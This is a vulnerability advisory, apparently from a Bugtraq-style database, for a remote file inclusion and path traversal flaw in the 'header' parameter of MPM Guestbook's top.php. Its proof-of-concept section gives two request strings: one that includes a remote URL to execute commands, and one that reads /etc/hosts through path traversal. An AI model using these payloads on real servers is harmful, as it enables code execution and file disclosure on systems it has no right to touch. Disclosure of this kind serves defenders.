MPM Guestbook Header Input Validation Vulnerability

BID:12266

Info

MPM Guestbook Header Input Validation Vulnerability

Bugtraq ID: 12266
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jan 14 2005 12:00AM
Updated: Jan 14 2005 12:00AM
Credit: Discovery of this vulnerability is credited to SmOk3 <[email protected]>.
Vulnerable: MPM MPM Guestbook 1.5
MPM MPM Guestbook 1.2
Not Vulnerable:

Discussion

MPM Guestbook Header Input Validation Vulnerability

MPM Guestbook is reported prone to an input validation vulnerability that may lead to remote command execution or arbitrary file content disclosure. The issue is due to a lack of sufficient sanitization performed on user-supplied 'header' URI parameter data.

An attacker may leverage this issue to execute arbitrary PHP code in the context of the web server process or disclose the contents of web server readable files.

It should be noted that although this vulnerability is reported to affect MPM Guestbook version 1.05, other versions might also be affected.

Exploit / POC

MPM Guestbook Header Input Validation Vulnerability

The following examples are available:
PoC: /gbpro/top.php?header=http://[CMD]
PoC: /gbpro/top.php?header=../../../../../../../etc/hosts

Solution / Fix

MPM Guestbook Header Input Validation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

MPM Guestbook Header Input Validation Vulnerability

References:
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